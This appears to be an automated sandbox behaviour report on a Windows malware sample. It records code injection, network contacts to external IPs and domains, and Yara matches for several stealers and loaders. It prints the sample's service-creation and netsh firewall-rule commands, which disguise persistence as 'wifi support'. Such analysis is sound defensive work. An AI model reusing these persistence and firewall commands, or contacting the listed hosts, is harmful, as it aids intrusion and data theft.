Source: C:\Users\user\Desktop\ECD2MpEBSf.exe

Code function: 0_2_00422B00 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_00422B00

Source: C:\Users\user\AppData\Local\Temp\CCB2.exe

Code function: 15_2_004048D0 VirtualProtect ?,00000004,00000100,00000000

15_2_004048D0

Source: C:\Users\user\Desktop\ECD2MpEBSf.exe

Code function: 0_2_0042CB72 InterlockedIncrement,__itow_s,__invoke_watson_if_error,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,__strftime_l,__invoke_watson_if_oneof,_wcscpy_s,__invoke_watson_if_error,_wcscpy_s,__invoke_watson_if_error,_wcscat_s,__invoke_watson_if_error,_wcscat_s,__invoke_watson_if_error,_wcscat_s,__invoke_watson_if_error,__snwprintf_s,__invoke_watson_if_oneof,_wcscpy_s,__invoke_watson_if_error,__invoke_watson_if_oneof,_wcscpy_s,__invoke_watson_if_error,GetFileType,_wcslen,WriteConsoleW,GetLastError,__invoke_watson_if_oneof,_wcslen,WriteFile,WriteFile,OutputDebugStringW,__itow_s,__invoke_watson_if_error,___crtMessageWindowW,

0_2_0042CB72

Source: C:\Users\user\Desktop\ECD2MpEBSf.exe

0_2_00419B15

Source: C:\Users\user\AppData\Local\Temp\3D34.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\CCB2.exe

Memory protected: page guard

Jump to behavior

Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Code function: 0_2_0043AA10 _raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0043AA10
Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Code function: 0_2_00422B00 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00422B00
Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Code function: 0_2_0042BCB0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0042BCB0
Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Code function: 0_2_00428520 SetUnhandledExceptionFilter,	0_2_00428520
Source: C:\Users\user\AppData\Local\Temp\BB8A.exe	Code function: 12_2_0040976C IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	12_2_0040976C
Source: C:\Users\user\AppData\Local\Temp\D936.exe	Code function: 17_2_00409A6B EntryPoint,SetErrorMode,SetErrorMode,SetErrorMode,SetUnhandledExceptionFilter,GetModuleHandleA,GetModuleFileNameA,GetCommandLineA,lstrlenA,ExitProcess,GetTempPathA,lstrcpyA,lstrcatA,lstrcatA,GetFileAttributesExA,DeleteFileA,GetEnvironmentVariableA,lstrcpyA,lstrlenA,RegOpenKeyExA,RegSetValueExA,RegCloseKey,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,wsprintfA,lstrcatA,lstrcatA,CreateProcessA,DeleteFileA,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,GetCommandLineA,lstrlenA,StartServiceCtrlDispatcherA,DeleteFileA,GetLastError,Sleep,DeleteFileA,CreateThread,CreateThread,WSAStartup,CreateThread,Sleep,Sleep,GetTickCount,GetTickCount,GetTickCount,Sleep,	17_2_00409A6B
Source: C:\Windows\SysWOW64\qeprvgom\krmdinzg.exe	Code function: 32_2_00409A6B EntryPoint,SetErrorMode,SetErrorMode,SetErrorMode,SetUnhandledExceptionFilter,GetModuleHandleA,GetModuleFileNameA,GetCommandLineA,lstrlenA,ExitProcess,GetTempPathA,lstrcpyA,lstrcatA,lstrcatA,GetFileAttributesExA,DeleteFileA,GetEnvironmentVariableA,lstrcpyA,lstrlenA,RegOpenKeyExA,RegSetValueExA,RegCloseKey,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,wsprintfA,lstrcatA,lstrcatA,CreateProcessA,DeleteFileA,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,GetCommandLineA,lstrlenA,StartServiceCtrlDispatcherA,DeleteFileA,GetLastError,Sleep,DeleteFileA,CreateThread,CreateThread,WSAStartup,CreateThread,Sleep,Sleep,GetTickCount,GetTickCount,GetTickCount,Sleep,	32_2_00409A6B

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 94.142.143.116 443
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: patmushta.info
Source: C:\Windows\explorer.exe	Domain query: cdn.discordapp.com
Source: C:\Windows\explorer.exe	Network Connect: 188.166.28.199 80	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 104.47.53.36 25
Source: C:\Windows\explorer.exe	Domain query: unicupload.top
Source: C:\Windows\explorer.exe	Network Connect: 185.233.81.115 187	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 185.7.214.171 144	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: host-data-coin-11.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: microsoft-com.mail.protection.outlook.com
Source: C:\Windows\explorer.exe	Domain query: goo.su
Source: C:\Windows\explorer.exe	Domain query: transfer.sh
Source: C:\Windows\explorer.exe	Network Connect: 185.186.142.166 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: data-host-coin-8.com

Benign windows process drops PE files

Show sources

Source: C:\Windows\explorer.exe

File created: A332.exe.5.dr

Jump to dropped file

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jgdhbua	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jgdhbua	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior

Allocates memory in foreign processes

Show sources

Source: C:\Windows\SysWOW64\qeprvgom\krmdinzg.exe

Memory allocated: C:\Windows\SysWOW64\svchost.exe base: E70000 protect: page execute and read and write

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Memory written: C:\Users\user\Desktop\ECD2MpEBSf.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jgdhbua	Memory written: C:\Users\user\AppData\Roaming\jgdhbua base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3D34.exe	Memory written: C:\Users\user\AppData\Local\Temp\3D34.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\SysWOW64\qeprvgom\krmdinzg.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: E70000 value starts with: 4D5A

Contains functionality to inject code into remote processes

Show sources

Source: C:\Users\user\Desktop\ECD2MpEBSf.exe

Code function: 0_2_00570110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,

0_2_00570110

Creates a thread in another existing process (thread injection)

Show sources

Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Thread created: C:\Windows\explorer.exe EIP: 44C1930			Jump to behavior
Source: C:\Users\user\AppData\Roaming\jgdhbua	Thread created: unknown EIP: 4F11930			Jump to behavior

Writes to foreign memory regions

Show sources

Source: C:\Windows\SysWOW64\qeprvgom\krmdinzg.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: E70000
Source: C:\Windows\SysWOW64\qeprvgom\krmdinzg.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: DC5008

.NET source code references suspicious native API functions

Show sources

Source: 3D34.exe.5.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 3D34.exe.5.dr, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 18.0.3D34.exe.ec0000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 18.0.3D34.exe.ec0000.3.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 18.0.3D34.exe.ec0000.2.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 18.0.3D34.exe.ec0000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 18.2.3D34.exe.ec0000.0.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 18.2.3D34.exe.ec0000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 18.0.3D34.exe.ec0000.0.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 18.0.3D34.exe.ec0000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 18.0.3D34.exe.ec0000.1.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 18.0.3D34.exe.ec0000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 37.0.3D34.exe.150000.1.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 37.0.3D34.exe.150000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 37.2.3D34.exe.150000.0.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 37.2.3D34.exe.150000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 37.0.3D34.exe.150000.0.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 37.0.3D34.exe.150000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 37.0.3D34.exe.150000.3.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 37.0.3D34.exe.150000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')

Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Process created: C:\Users\user\Desktop\ECD2MpEBSf.exe "C:\Users\user\Desktop\ECD2MpEBSf.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jgdhbua	Process created: C:\Users\user\AppData\Roaming\jgdhbua C:\Users\user\AppData\Roaming\jgdhbua	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 6816 -ip 6816	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6816 -s 520	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D936.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\qeprvgom\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D936.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\krmdinzg.exe" C:\Windows\SysWOW64\qeprvgom\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D936.exe	Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\System32\sc.exe" create qeprvgom binPath= "C:\Windows\SysWOW64\qeprvgom\krmdinzg.exe /d\"C:\Users\user\AppData\Local\Temp\D936.exe\"" type= own start= auto DisplayName= "wifi support	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D936.exe	Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\System32\sc.exe" description qeprvgom "wifi internet conection	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D936.exe	Process created: C:\Windows\SysWOW64\sc.exe "C:\Windows\System32\sc.exe" start qeprvgom	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D936.exe	Process created: C:\Windows\SysWOW64\netsh.exe "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3D34.exe	Process created: C:\Users\user\AppData\Local\Temp\3D34.exe C:\Users\user\AppData\Local\Temp\3D34.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3D34.exe	Process created: C:\Users\user\AppData\Local\Temp\3D34.exe C:\Users\user\AppData\Local\Temp\3D34.exe	Jump to behavior
Source: C:\Windows\SysWOW64\qeprvgom\krmdinzg.exe	Process created: C:\Windows\SysWOW64\svchost.exe svchost.exe

Source: C:\Users\user\AppData\Local\Temp\D936.exe

Code function: 17_2_00406EDD AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

17_2_00406EDD

Source: C:\Users\user\AppData\Local\Temp\D936.exe

Code function: 17_2_00407809 CreateThread,GetUserNameA,LookupAccountNameA,GetLengthSid,GetFileSecurityA,GetSecurityDescriptorOwner,EqualSid,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetFileSecurityA,LocalFree,GetSecurityDescriptorDacl,GetAce,EqualSid,DeleteAce,EqualSid,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,SetFileSecurityA,LocalFree,

17_2_00407809

Source: explorer.exe, 00000005.00000000.707515512.0000000000AD8000.00000004.00000020.sdmp, explorer.exe, 00000005.00000000.690989034.0000000000AD8000.00000004.00000020.sdmp, explorer.exe, 00000005.00000000.679013555.0000000000AD8000.00000004.00000020.sdmp	Binary or memory string: ProgmanMD6
Source: explorer.exe, 00000005.00000000.707726706.0000000001080000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.691158816.0000000001080000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.679155030.0000000001080000.00000002.00020000.sdmp, BB8A.exe, 0000000C.00000000.766024254.0000000000C70000.00000002.00020000.sdmp, BB8A.exe, 0000000C.00000000.766809458.0000000000C70000.00000002.00020000.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 00000005.00000000.698669276.0000000005E50000.00000004.00000001.sdmp, explorer.exe, 00000005.00000000.707726706.0000000001080000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.691158816.0000000001080000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.679155030.0000000001080000.00000002.00020000.sdmp, BB8A.exe, 0000000C.00000000.766024254.0000000000C70000.00000002.00020000.sdmp, BB8A.exe, 0000000C.00000000.766809458.0000000000C70000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000005.00000000.707726706.0000000001080000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.691158816.0000000001080000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.679155030.0000000001080000.00000002.00020000.sdmp, BB8A.exe, 0000000C.00000000.766024254.0000000000C70000.00000002.00020000.sdmp, BB8A.exe, 0000000C.00000000.766809458.0000000000C70000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000005.00000000.707726706.0000000001080000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.691158816.0000000001080000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.679155030.0000000001080000.00000002.00020000.sdmp, BB8A.exe, 0000000C.00000000.766024254.0000000000C70000.00000002.00020000.sdmp, BB8A.exe, 0000000C.00000000.766809458.0000000000C70000.00000002.00020000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000005.00000000.684563899.000000000A716000.00000004.00000001.sdmp, explorer.exe, 00000005.00000000.700236114.000000000A716000.00000004.00000001.sdmp, explorer.exe, 00000005.00000000.715039633.000000000A716000.00000004.00000001.sdmp	Binary or memory string: Shell_TrayWnd5D

Source: C:\Users\user\Desktop\ECD2MpEBSf.exe	Code function: GetLocaleInfoA,	0_2_0043A760
Source: C:\Users\user\AppData\Local\Temp\BB8A.exe	Code function: GetLocaleInfoA,	12_2_00410857
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: GetProcessHeap,RtlAllocateHeap,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,wsprintfA,wsprintfA,memset,LocalFree,	15_2_0040AE00
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: GetProcessHeap,RtlAllocateHeap,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,wsprintfA,wsprintfA,memset,LocalFree,	15_2_0068B050

Source: C:\Users\user\AppData\Local\Temp\D936.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D936.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3D34.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\3D34.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3D34.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3D34.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3D34.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\qeprvgom\krmdinzg.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\qeprvgom\krmdinzg.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\svchost.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\ECD2MpEBSf.exe

Code function: 0_2_00419D72 __vswprintf,_putc,__wrename,_atexit,_malloc,_realloc,_ferror,GetBinaryTypeA,SetCurrentDirectoryA,Process32NextW,InitializeCriticalSection,QueryDosDeviceW,AssignProcessToJobObject,GlobalAddAtomW,DeleteAtom,WriteProfileStringA,GetFullPathNameA,FindNextVolumeMountPointW,GetCompressedFileSizeA,SetNamedPipeHandleState,lstrcpynA,GetCurrentProcessId,GetConsoleAliasesLengthW,UnregisterWait,GetProcessHandleCount,CancelWaitableTimer,SetFileApisToANSI,CreateIoCompletionPort,FindClose,SetEndOfFile,GetCommMask,LocalLock,OpenMutexA,OemToCharA,GetLastError,HeapFree,GetConsoleMode,WriteConsoleOutputCharacterA,GetModuleHandleW,GetConsoleMode,FreeEnvironmentStringsA,GetWriteWatch,GetConsoleAliasExesLengthW,_lopen,FileTimeToLocalFileTime,SetCommState,EnumDateFormatsA,TransactNamedPipe,WriteConsoleInputW,GetConsoleAliasExesLengthA,GetAtomNameW,FreeConsole,FlushConsoleInputBuffer,GetConsoleAliasA,SetConsoleCP,VerSetConditionMask,LockFile,SetSystemTime,SetThreadExecutionState,VerLanguageNameW,lstrcpyA,SetFileShortNameA,GetPrivateProfileSectionW,FreeEnvironmentStringsW,CreateSemaphoreA,GetLocalTime,EnumTimeFormatsW,FindResourceExW,GetPrivateProfileSectionNamesW,GetOverlappedResult,WaitNamedPipeA,TransmitCommChar,CreateSemaphoreW,GetBinaryTypeW,PeekConsoleInputW,BuildCommDCBW,UnregisterWaitEx,GlobalLock,CreateIoCompletionPort,GetProcAddress,MoveFileExW,GetThreadContext,ResetEvent,FindActCtxSectionGuid,_memset,SetDefaultCommConfigW,lstrcmpW,HeapUnlock,GetConsoleMode,GetVolumePathNameA,MoveFileW,Process32NextW,GetFileAttributesExA,GetDriveTypeA,TryEnterCriticalSection,GetPrivateProfileStructW,WritePrivateProfileSectionA,GetPrivateProfileSectionW,GetSystemTimeAdjustment,WriteConsoleA,EndUpdateResourceA,FindVolumeMountPointClose,DefineDosDeviceW,InterlockedExchange,SetMailslotInfo,GetTapeParameters,CreateActCtxW,FindCloseChangeNotification,GlobalFindAtomA,TerminateProcess,GetSystemWindowsDirectoryW,GetVersion,SetConsoleMode,ReadFileScatter,lstrcmpA,GetPrivateProfileSectionW,DebugBreak,DeleteVolumeMountPointA,

0_2_00419D72

Source: C:\Users\user\AppData\Local\Temp\CCB2.exe

Code function: 15_2_0040AD40 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

15_2_0040AD40

Source: C:\Users\user\AppData\Local\Temp\CCB2.exe

Code function: 15_2_0040ACA0 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

15_2_0040ACA0

Source: C:\Users\user\AppData\Local\Temp\D936.exe

Code function: 17_2_0040405E CreateEventA,ExitProcess,CloseHandle,CreateNamedPipeA,Sleep,CloseHandle,ConnectNamedPipe,GetLastError,DisconnectNamedPipe,CloseHandle,CloseHandle,CloseHandle,

17_2_0040405E

Source: C:\Users\user\Desktop\ECD2MpEBSf.exe

0_2_00419D72

Lowering of HIPS / PFW / Operating System Security Settings:

Uses netsh to modify the Windows network and firewall settings

Show sources

Source: C:\Users\user\AppData\Local\Temp\D936.exe

Process created: C:\Windows\SysWOW64\netsh.exe "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul

Modifies the windows firewall

Show sources

Source: C:\Users\user\AppData\Local\Temp\D936.exe

Stealing of Sensitive Information:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 18.2.3D34.exe.430f910.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.3D34.exe.444ba90.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.3D34.exe.444ba90.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.3D34.exe.430f910.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000026.00000000.825922987.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.833275323.00000000041F1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000002.893709342.00000000000C2000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000000.825398173.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.833464312.0000000004361000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000003.893284342.0000000003702000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000000.826478110.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000000.827053471.0000000000402000.00000040.00000001.sdmp, type: MEMORY

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 1.1.ECD2MpEBSf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.ECD2MpEBSf.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.ECD2MpEBSf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.ECD2MpEBSf.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.jgdhbua.6f15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.ECD2MpEBSf.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.1.jgdhbua.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ECD2MpEBSf.exe.5715a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.jgdhbua.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.721727855.00000000006A1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.708255964.00000000044C1000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.776599972.00000000004F0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002C.00000002.899701090.0000000002070000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.721690876.0000000000680000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002C.00000002.901276330.0000000002431000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.776791205.00000000020A1000.00000004.00020000.sdmp, type: MEMORY

Yara detected Raccoon Stealer

Show sources

Source: Yara match	File source: 00000027.00000003.861803378.0000000004EC0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000003.920806858.0000000004E40000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000002.922842020.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000002.1015911464.0000000004DA0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.1024642477.0000000000400000.00000040.00020000.sdmp, type: MEMORY

Yara detected Vidar stealer

Show sources

Source: Yara match

File source: 0000000F.00000002.775841578.00000000007F9000.00000004.00000001.sdmp, type: MEMORY

Yara detected Tofsee

Show sources

Source: Yara match	File source: 17.3.D936.exe.22d0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.krmdinzg.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.svchost.exe.e70000.0.unpack, type: UNPACKEDPE
